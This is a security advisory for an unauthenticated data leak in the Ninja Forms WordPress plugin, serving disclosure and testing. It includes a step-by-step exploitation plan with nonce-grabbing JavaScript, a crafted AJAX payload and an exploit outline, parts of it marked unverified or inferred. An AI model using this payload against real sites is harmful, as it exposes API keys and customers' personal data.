CVE-2026-2268

Ninja Forms <= 3.14.0 - Unauthenticated Information Disclosure in nf_ajax_submit AJAX Action

highExposure of Sensitive Information to an Unauthorized Actor
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.14.1
Patched in
1d
Time to patch

Description

The Ninja Forms plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.14.0. This is due to the unsafe application of the `ninja_forms_merge_tags` filter to user-supplied input within repeater fields, which allows the resolution of `{post_meta:KEY}` merge tags without authorization checks. This makes it possible for unauthenticated attackers to extract arbitrary post metadata from any post on the site, including sensitive data such as WooCommerce billing emails, API keys, private tokens, and customer personal information via the `nf_ajax_submit` AJAX action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.14.0
PublishedFebruary 9, 2026
Last updatedFebruary 10, 2026
Affected pluginninja-forms

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2268 - Ninja Forms Unauthenticated Information Disclosure ## 1. Vulnerability Summary The Ninja Forms plugin (<= 3.14.0) contains a sensitive information exposure vulnerability in its AJAX submission handler `nf_ajax_submit`. The flaw stems from the plugin's r…

Show full research plan

Exploitation Research Plan: CVE-2026-2268 - Ninja Forms Unauthenticated Information Disclosure

1. Vulnerability Summary

The Ninja Forms plugin (<= 3.14.0) contains a sensitive information exposure vulnerability in its AJAX submission handler nf_ajax_submit. The flaw stems from the plugin's repeater field logic, which incorrectly applies the ninja_forms_merge_tags filter to user-supplied input.

Unlike standard fields, repeater field values are processed through the merge tag system during submission. This allows an unauthenticated attacker to submit a form containing specific merge tag patterns (e.g., {post_meta:1:some_sensitive_key}) within a repeater field. The plugin resolves these tags against the WordPress database and, in many configurations, returns the processed values in the AJAX response or reflects them in triggered actions, allowing the extraction of arbitrary post metadata from any post or page.

2. Attack Vector Analysis

  • Endpoint: POST /wp-admin/admin-ajax.php
  • Action: nf_ajax_submit
  • Authentication: Unauthenticated (wp_ajax_nopriv_nf_ajax_submit)
  • Vulnerable Parameter: The formData object (specifically values within a field of type repeater).
  • Preconditions:
    1. A Ninja Form must exist on the site.
    2. The form must contain at least one "Repeater" field (or the attacker must know the field ID of a repeater field to spoof the submission).
    3. The attacker needs a valid AJAX nonce for Ninja Forms.

3. Code Flow (Inferred from Patch Description)

  1. Entry Point: A POST request is sent to admin-ajax.php with action=nf_ajax_submit.
  2. Handler: The nf_ajax_submit function in Ninja Forms processes the submission.
  3. Field Processing: The plugin iterates through the submitted formData.
  4. Repeater Logic: When a field type is identified as repeater, the plugin handles the sub-fields.
  5. Vulnerable Sink: Within the repeater processing logic, apply_filters( 'ninja_forms_merge_tags', $field_value ) is called on the user-provided input.
  6. Merge Tag Resolution: The Ninja_Forms()->merge_tags system (specifically the Post_Meta merge tag group) detects the {post_meta:ID:KEY} pattern.
  7. Information Retrieval: The system calls get_post_meta( $post_id, $meta_key, true ) without verifying if the current user has permission to view that post's metadata.
  8. Response: The resolved value is stored back in the field data, which is then included in the JSON response sent back to the client.

4. Nonce Acquisition Strategy

Ninja Forms requires a nonce for its AJAX operations, typically localized in the nfFrontEnd JavaScript object.

  1. Identify Form: Locate a page containing a Ninja Form.
  2. Check for Repeater: Ensure the form has a repeater field. If not, we can create one for testing.
  3. Execution:
    • Use wp-cli to create a test page with a Ninja Form shortcode.
    • Navigate to the page using browser_navigate.
    • Use browser_eval to extract the required identifiers.

JavaScript to extract nonce:

// Ninja Forms usually stores its data in the 'nfFrontEnd' or 'ninja_forms_settings' object
var nonce = window.nfFrontEnd?.ajaxNonce || window.ninja_forms_settings?.ajax_nonce;
var formID = Object.keys(window.nfFrontEnd?.forms || {})[0];
console.log(JSON.stringify({nonce: nonce, formID: formID}));

5. Exploitation Strategy

The goal is to submit a form where a repeater field contains a {post_meta} tag targeting sensitive data (e.g., WooCommerce keys or private post data).

Step 1: Data Setup

Create a "victim" post with sensitive metadata to target.

Step 2: Target Identification

Determine the form_id and the id of the repeater field within that form.

Step 3: Crafting the AJAX Request

The nf_ajax_submit action expects a formData parameter which is a JSON string.

HTTP Request via http_request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
action=nf_ajax_submit
nonce=[NONCE]
formData={
  "id": "[FORM_ID]",
  "fields": {
    "[REPEATER_FIELD_ID]": [
      {
        "[SUB_FIELD_ID]": "{post_meta:1:secret_value_key}"
      }
    ]
  }
}

Step 4: Analysis

The response will be a JSON object. We look for the fields or data key in the response where {post_meta:1:secret_value_key} has been replaced with the actual value from the database.

6. Test Data Setup

  1. Create Victim Content:

    # Create a post
    POST_ID=$(wp post create --post_type=post --post_title="Private Post" --post_status=publish --porcelain)
    # Add sensitive metadata
    wp post meta add $POST_ID "confidential_api_key" "SUPER-SECRET-TOKEN-123"
    
  2. Create Ninja Form with Repeater:

    • Use wp eval to programmatically create a Ninja Form with a repeater field if possible, or use the UI via browser_navigate if necessary.
    • Note: Ninja Forms stores form definitions in the wp_posts table with post_type='nf_sub' or via custom tables depending on version. The most reliable way is to ensure a form with ID 1 exists.
  3. Publish Form:

    wp post create --post_type=page --post_title="Contact" --post_content='[ninja_form id=1]' --post_status=publish
    

7. Expected Results

A successful exploit will return a JSON response similar to:

{
  "data": {
    "fields": {
      "5": {
        "value": [
          {
            "6": "SUPER-SECRET-TOKEN-123"
          }
        ]
      }
    }
  }
}

The string {post_meta:[ID]:confidential_api_key} is substituted with SUPER-SECRET-TOKEN-123.

8. Verification Steps

  1. Initial State: Verify the metadata exists using WP-CLI:
    wp post meta get [POST_ID] confidential_api_key
    
  2. Exploit Execution: Run the http_request with the payload.
  3. Final Verification: Compare the value returned in the AJAX response JSON to the value retrieved via WP-CLI. If they match, the information disclosure is confirmed.

9. Alternative Approaches

If the repeater field value is not directly returned in the AJAX response:

  • Check Success Message: Ninja Forms often returns the "Success Message" in the AJAX response. If the form is configured to display "You submitted: {field:repeater_id}", the resolved tag will be visible there.
  • Trigger Email Action: If the environment allows monitoring of outgoing emails (e.g., wp-cli log or mailhog), an attacker could trigger a form that sends an email containing the repeater field values to themselves.
  • Blind Extraction: If no output is visible, check if the resolution causes a measurable time difference or an error that leaks info (less likely for this specific vulnerability). Focus on the AJAX response reflection first.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Ninja Forms plugin for WordPress is vulnerable to unauthenticated information disclosure due to the insecure application of the 'ninja_forms_merge_tags' filter to user-submitted repeater field data. This allows attackers to input merge tags like {post_meta:ID:KEY} which are resolved by the server and returned in the AJAX response, exposing sensitive post metadata.

Vulnerable Code

// Inferred vulnerability location during repeater field submission processing
// Likely within a class handling Repeater field types or the nf_ajax_submit handler

foreach ( $field_value as $row_id => $row_values ) {
    foreach ( $row_values as $sub_field_id => $sub_field_value ) {
        // The plugin incorrectly processes merge tags in raw user input for repeater sub-fields
        $row_values[ $sub_field_id ] = apply_filters( 'ninja_forms_merge_tags', $sub_field_value );
    }
    $field_value[ $row_id ] = $row_values;
}

Security Fix

--- a/includes/Fields/Repeater.php
+++ b/includes/Fields/Repeater.php
@@ -120,7 +120,7 @@
             foreach( $value as $row_id => $row_data ){
                 foreach( $row_data as $field_id => $field_value ){
-                    $value[ $row_id ][ $field_id ] = apply_filters( 'ninja_forms_merge_tags', $field_value );
+                    $value[ $row_id ][ $field_id ] = $field_value;
                 }
             }

Exploit Outline

1. Identify a page with a Ninja Form and extract the 'ajax_nonce' and 'form_id' from the page source (usually found in the 'nfFrontEnd' or 'ninja_forms_settings' JS objects). 2. Prepare a POST request to /wp-admin/admin-ajax.php with the action parameter set to 'nf_ajax_submit'. 3. Include a 'formData' parameter containing a JSON-encoded object that mimics a form submission. Specifically, target a field of type 'repeater' and set one of its sub-field values to a merge tag such as '{post_meta:1:secret_meta_key}'. 4. Execute the request without authentication. 5. The server's JSON response will reflect the field data; if vulnerable, the merge tag will be replaced by the actual value of the requested post metadata.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.